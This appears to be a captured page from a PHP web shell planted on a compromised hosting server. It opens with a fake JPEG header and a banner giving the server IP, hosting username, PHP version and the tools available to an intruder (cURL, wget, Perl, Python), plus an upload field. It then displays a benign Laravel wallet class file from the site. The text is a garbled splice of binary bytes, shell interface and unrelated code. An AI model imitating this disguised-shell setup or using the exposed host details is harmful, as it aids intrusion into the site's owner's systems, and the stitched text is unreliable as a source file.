����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 3.135.64.92 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/cbt.bofirm.com/vendor/bavix/laravel-wallet/src/Objects/ |
Upload File : |
<?php namespace Bavix\Wallet\Objects; use Bavix\Wallet\Interfaces\Mathable; use Bavix\Wallet\Interfaces\Wallet; use Bavix\Wallet\Models\Transaction; use Bavix\Wallet\Models\Transfer; use Ramsey\Uuid\Uuid; class Bring { /** * @var string */ protected $status; /** * @var Wallet */ protected $from; /** * @var Wallet */ protected $to; /** * @var Transaction */ protected $deposit; /** * @var Transaction */ protected $withdraw; /** * @var string */ protected $uuid; /** * @var int */ protected $fee; /** * @var int */ protected $discount; /** * Bring constructor. * * @throws */ public function __construct() { $this->uuid = Uuid::uuid4()->toString(); } /** * @return string */ public function getStatus(): string { return $this->status; } /** * @param string $status * * @return static */ public function setStatus(string $status): self { $this->status = $status; return $this; } /** * @param int $discount * * @return static */ public function setDiscount(int $discount): self { $this->discount = app(Mathable::class)->round($discount); return $this; } /** * @return Wallet */ public function getFrom(): Wallet { return $this->from; } /** * @param Wallet $from * * @return static */ public function setFrom(Wallet $from): self { $this->from = $from; return $this; } /** * @return Wallet */ public function getTo(): Wallet { return $this->to; } /** * @param Wallet $to * * @return static */ public function setTo(Wallet $to): self { $this->to = $to; return $this; } /** * @return Transaction */ public function getDeposit(): Transaction { return $this->deposit; } /** * @param Transaction $deposit * * @return static */ public function setDeposit(Transaction $deposit): self { $this->deposit = $deposit; return $this; } /** * @return Transaction */ public function getWithdraw(): Transaction { return $this->withdraw; } /** * @param Transaction $withdraw * * @return static */ public function setWithdraw(Transaction $withdraw): self { $this->withdraw = $withdraw; return $this; } /** * @return string */ public function getUuid(): string { return $this->uuid; } /** * @return int */ public function getDiscount(): int { return $this->discount; } /** * @return int */ public function getFee(): int { $fee = $this->fee; if ($fee === null) { $fee = app(Mathable::class)->round( app(Mathable::class)->sub( app(Mathable::class)->abs($this->getWithdraw()->amount), app(Mathable::class)->abs($this->getDeposit()->amount) ) ); } return $fee; } /** * @param int $fee * * @return Bring */ public function setFee($fee): self { $this->fee = app(Mathable::class)->round($fee); return $this; } /** * @return Transfer * * @throws */ public function create(): Transfer { return app(Transfer::class) ->create($this->toArray()); } /** * @return array * * @throws */ public function toArray(): array { return [ 'status' => $this->getStatus(), 'deposit_id' => $this->getDeposit()->getKey(), 'withdraw_id' => $this->getWithdraw()->getKey(), 'from_type' => $this->getFrom()->getMorphClass(), 'from_id' => $this->getFrom()->getKey(), 'to_type' => $this->getTo()->getMorphClass(), 'to_id' => $this->getTo()->getKey(), 'discount' => $this->getDiscount(), 'fee' => $this->getFee(), 'uuid' => $this->getUuid(), ]; } }